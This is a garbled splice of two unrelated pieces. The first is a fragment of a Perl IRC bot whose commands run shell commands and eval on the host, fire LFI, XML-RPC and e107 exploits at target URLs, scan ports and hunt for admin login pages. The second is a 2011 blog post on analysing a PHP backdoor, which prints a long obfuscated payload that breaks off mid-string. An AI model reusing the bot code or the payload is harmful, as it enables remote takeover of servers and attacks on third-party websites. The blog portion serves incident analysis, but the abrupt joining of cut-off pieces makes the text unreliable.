284:                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
285:                     sendraw($IRC_cur_socket, "PRIVMSG $nick :9Rondoe Process/PID : $Rondoeproc - $$");
286:                 }
287:                 if (&isAdmin($nick) && $msg !~ /^!/) {
288:                     &shell("$nick","$msg");
289:                 }
290:          if (&isAdmin($nick) && $msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){
291:           my $url = $1.$lfdtest;
292:           my $cmd = $2;
293:           &cmdlfi($url,$cmd,$nick);
294:         }
295:         if (&isAdmin($nick) && $msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){
296:           my $url = $1;
297:           my $cmd = $2;
298:           &cmdxml($url,$cmd,$nick);
299:         }
300:         if (&isAdmin($nick) && $msg=~ /^$cmde107\s+(.*?)\s+(.*)/){
301:           my $url = $1;
302:           my $cmd = $2;
303:           &cmde107($url,$cmd,$nick);
304:         }
305:            }
306:             else {
307:                 if (&isAdmin($nick) && $msg eq "!die") {
308:                     &shell("$path","kill -9 $$");
309:                 }
310:                 if (&isAdmin($nick) && $msg eq "!killall") {
311:                     &shell("$path","killall -9 perl");
312:                 }
313:                 if (&isAdmin($nick) && $msg eq "!reset") {
314:                     sendraw("QUIT :Lompat...");
315:                 }
316:                 if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
317:                     sendraw("JOIN #".$1);
318:                 }
319:                 if (&isAdmin($nick) && $msg eq "!part") {
320:                     sendraw("PART $path");
321:                 }
322:                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
323:                     sendraw("PART #".$1);
324:                 }
325:                 if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
326:                     &shell("$path","$1");
327:                 }
328:                 if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
329:                     &shell("$path","$1");
330:                 }
331:         if (&isAdmin($nick) && $msg =~ /^!eval (.*)/) {
332:         eval "$1";
333:         }
334:         ##################################################################### HIT
335: 
336:         if ($msg=~ /^$cmdlfi\s+(.+?)\s+(.*)/){
337:           my $url = $1.$lfdtest;
338:           my $cmd = $2;
339:           &cmdlfi($url,$cmd,$path);
340:         }
341:         if ($msg=~ /^$cmdxml\s+(.+?)\s+(.*)/){
342:           my $url = $1;
343:           my $cmd = $2;
344:           &cmdxml($url,$cmd,$path);
345:         }
346:         if ($msg=~ /^$cmde107\s+(.+?)\s+(.*)/){
347:           my $url = $1;
348:           my $cmd = $2;
349:           &cmde107($url,$cmd,$path);
350:         }
351:         
352:         ##################################################################### SMS
353:         if ($msg=~ /^!sms\s+(.*?)\s+(.*)/){    
354:           my $no    = $1;    
355:           my $pesan = $2;
356:           if(sendSMS($no,$pesan)){
357:             &msg("$path","$smslogo 9Sukses mengirim ke 4 ".$no."9 Pengirim : 4 ".$nick);
358:           }
359:           else {
360:             &msg("$path","$smslogo 4 GAGAL!!");
361:           }
362:         }  
363: 
364:                 ##################################################################### HELP COMMAND
365: 
366:                 if ($msg=~ /^!help/) {
367:                     my $helplogo = "3(4@13HelP3)";
368:                     &msg("$path","$helplogo 11 ########################4[ Suwong Community ]11############################");
369:                     &msg("$path","$helplogo 8 ( $rficmd|$lficmd|$sqlcmd|$xmlcmd|$ossqlcmd|$esqlcmd [bug][dork])");
370:                     &msg("$path","$helplogo 13 ( $cmde107|$cmdlfi|$cmdxml) [target][cmd]|!sms[no][pesan] )");
371:                     &msg("$path","$helplogo 6 ( $e107cmd | $zencmd | $oscocmd | $admcmd | $opcmd [dork] ) ");sleep(2);
372:                     &msg("$path","$helplogo 3 ( !login [web]|!port [ip][port]|!base64 [data]|!ip [ip]|!dns [host] )");
373:                     &msg("$path","$helplogo 5 ( !about|!engine|!version|!proxy [3digit]|!paypal [email] )");
374:                     &msg("$path","$helplogo 11 ######################4[ END HELP ]11#########################");
375:                 }
376:                 if ($msg=~ /^!engine/) {
377:                     my $enginelogo = "15(4@9EnginE15)";
378:                     &msg("$path","$enginelogo 4 GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio");
379:                     &msg("$path","$enginelogo 4 WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo");
380:                     &msg("$path","$enginelogo 4 BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR");
381:                 }
382:                 if ($msg=~ /^!about/) {
383:                     my $aboutlogo = "15(4@9About15)";
384:                     &msg("$path","$aboutlogo 12Suwong Community");
385:                     &msg("$path","$aboutlogo 4CoDeD Jancok");
386:                     &msg("$path","$aboutlogo 6MoD by Suwong Team");
387:                 }
388:                 if ($msg=~ /^!version/) {
389:                     my $versionlogo = "15(4@9Version15)";
390:                     &msg("$path","$versionlogo 12 priv8 SE v3.2");
391:                 }
392:                 if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
393:                     if (&isFound($injector,"R29hQ3JlVw==")) {
394:                         &msg("$path","15(4@9Injector15)4 OFF!!!");
395:                     } else {
396:                         &msg("$path","15(4@9Injector15)8 OFF!!!");
397:                     }
398:                 }
399:                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
400:                     &notice("$nick","9Rondoe Process/PID : 3$Rondoeproc - $$");
401:                 }
402:         ##################################################################### TOOLS
403:         if ($msg=~ /^!proxy\s+(.+)/){
404:           if (my $pid = fork) { waitpid($pid, 0); } else {
405:             if (fork) { exit; } else {
406:             my $minta = $1;
407:                     &msg("$path","15(4@9PROXY15)13 Checking Proxy..");
408:           &proxy($path,$minta);
409:             }
410:             exit;
411:           }
412:         }
413: 
414:                                 if ($msg=~ /^!dns\s+(.*)/){ 
415:                            my $nsku = $1;
416:                            $mydns = inet_ntoa(inet_aton($nsku));
417:                            &msg("$path", "15(4@9DNS15) 13$nsku 9Resolve Ke 4 $mydns");   
418:                           }
419: 
420:         if ($msg=~ /^!port\s+(.*?)\s+(.*)/ ) {
421:           my $hostip= "$1";
422:           my $portsc= "$2";
423:           my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
424:           if ($scansock) {
425:                     &msg("$path","15(4@9PORT15)7 $hostip : $portsc 12Yes Cruutz");
426:           }
427:           else {
428:                     &msg("$path","15(4@9PORT15)7 $hostip : $portsc 4connection refused");
429:           }
430:         }
431: 
432:         if ($msg=~ /^!ip\s+(.*)/ ) {
433:           if (my $pid = fork) { waitpid($pid, 0); } else {
434:             if (fork) { exit; } else {
435:               my $ip = $1;
436:               &msg("$path","15(4@9IP15)6 Searching ".$ip." 9Location ...");
437:               my $website = "http://www.ipligence.com/geolocation";
438:               my ($useragent,$request,$response,%form);
439:               undef %form;
440:               $form{ip}  = $ip;
441:               $useragent = LWP::UserAgent->new;
442:               $useragent->timeout(5);
443:               $request   = POST $website,\%form;
444:               $response  = $useragent->request($request);
445:               if ($response->is_success) {
446:               my $res = $response->content;
447:                 if ($res =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g) {
448:                 my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
449:                 &msg("$path","15(4@9IP15)13 IP Address : ".$ip." 9 ( ".$ipaddress." )");
450:                 &msg("$path","15(4@9IP15)13 City       : ".$ip." 9 ( ".$city." )");
451:                 &msg("$path","15(4@9IP15)13 Country    : ".$ip." 9 ( ".$country." )");
452:                 &msg("$path","15(4@9IP15)13 Continent  : ".$ip." 9 ( ".$continent." )");
453:                 }
454:                 else { 
455:                 &msg("$path","15(4@9IP15)13 ".$ip." 4not found in database");
456:                 }
457:               }
458:               else {
459:               &msg("$path","15(4@9IP15)4 Cannot open IP database.");
460:               }
461:             }
462:             exit;
463:           }
464:         }
465: 
466:         if ($msg=~ /^!base64 (.*)$/ ) {
467:           if (my $pid = fork) { waitpid($pid, 0); } else {
468:             if (fork) { exit; } else {
469:             my $hash      = $1;
470:             my $base64_encoded = encode_base64($hash);
471:             my $base64_decoded = decode_base64($hash);
472:             &msg("$path","15(4@9BASE6415)13 Decode : 9$base64_decoded");
473:             &msg("$path","15(4@9BASE6415)13 Encode : 9$base64_encoded");
474:             }
475:             exit;
476:           }
477:         }
478:  
479:                                if ($msg =~ /^!portscan (.*)$/ ) {
480:                                    my $hostip="$1"; 
481:                                    my @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
482:                                    my (@aberta, %porta_banner);
483:                                    &msg("$path","15(4@9PORTSCAN15) 13Loading port scanner.");
484:                                    foreach my $porta (@portas)  {
485:                                    my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
486:                                    if ($scansock) {
487:                                    push (@aberta, $porta);
488:                                    $scansock->close;
489:                                    }
490:                                  }
491:   
492:                                    if (@aberta) {
493:                                    &msg("$path", "15(4@9portscan15)13 open ports are...:5 @aberta");
494:                                    } else {
495:                                    &msg("$path","15(4@9portscan15)4 all ports are closed");
496:                                    }
497:                                  }
498: 
499:                                 if ($msg=~ /^!login (.*)$/ ) {
500:           if (my $pid = fork) { waitpid($pid, 0); } else {
501:             if (fork) { exit; } else {
502:             my $test = $1 ;
503:             @index = ('/admin/','/ADMIN/','/login/','/adm/','/cms/','/administrator/','/admin/login.php','/ADMIN/login.php','/admin/log.php','/admin/controlpanel.html','/admin/controlpanel.php','/admin.php','/admin.html','/admin/cp.php','/admin/cp.html','/cp.php','/cp.html','/controlpanel/','/panelc/','/administrator/index.php','/administrator/login.html','/administrator/login.php','/administrator/account.html','/administrator/account.php','/administrator.php','/administrator.html','/login.php','/login.html','/controlpanel/','/administration/','/administration.php','/administration.html','/phpmyadmin/','/myadmin/','/wp-admin/','/webadmin/','/webadmin.php','/webadmin.html','/admins/','/admins.php','/admins.html','/WebAdmin/','/admin1/','/panel/','/cpanel/','/cPanel/','/members/','/wp-login/','/admin/','/ADMIN/','/login/','/adm/','/cms/','/administrator/','/admin/login.php','/ADMIN/login.php','/admin/log.php','/admin/controlpanel.html','/admin/controlpanel.php','/admin.php','/admin.html','/admin/cp.php','/admin/cp.html','/cp.php','/cp.html','/controlpanel/','/panelc/','/administrator/index.php','/administrator/login.html','/administrator/login.php','/administrator/account.html','/administrator/account.php','/administrator.php','/administrator.html','/login.php','/login.html','/controlpanel/','/administration/','/administration.php','/administration.html','/phpmyadmin/','/myadmin/','/wp-admin/','/webadmin/','/webadmin.php','/webadmin.html','/admins/','/admins.php','/admins.html','/WebAdmin/','/admin1/','/panel/','/cpanel/','/cPanel/','/members/','/wp-login/','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php','admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/log.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php',
504: 'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php',
505: 'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
506: 'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html',
507: 'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html',
508: 'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','log.php','admin.php','adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php','adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php','admin1.php','admin1.html','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','ccms/','ccms/login.php','ccms/index.php','maintenance/','webmaster/','adm/','configuration/','configure/','websvn/','admin/','admin/account.php','admin/account.html'. 'admin/index.php','admin/index.html','admin/login.php'. 'admin/login.html','admin/log.php','admin/controlpanel.html','admin/controlpanel.php','admin.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/index.php','administrator/login.html','administrator/login.php','administrator/account.html','administrator/account.php','administrator.php','administrator.html','login.php','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.ht

Fast Php backdoor analysis

2011-09-13T12:20:00.001+03:00

On the daily routing of checking the systems, I noticed on nagios that a webserver of an old system was down. It’s not the first time that it’s happening the system is mainly used as mailserver and the webserver serves only the webmail interface, at least to my knowledge at that moment. System had problem before with apache service and semaphores, but today there was another issue, a process was running under www-data id, with the command ./prox –p5114 (proxy redirect). Interesting , we have a new backdoor !

First things first, I kept a copy of the instance with lsof and pcat for further analysis,

   1: root@mail:/# lsof -p 29369 > 29369   2: root@mail:/# pcat 29369 > 29369.mem

pcat (process cat) is part of tct, apt-get install tct will do the trick on ubuntu/debian systems.

Looking at the data from lsof I located easily the place where backdoor was installed and the actual file was the following

   1: <?php $code = "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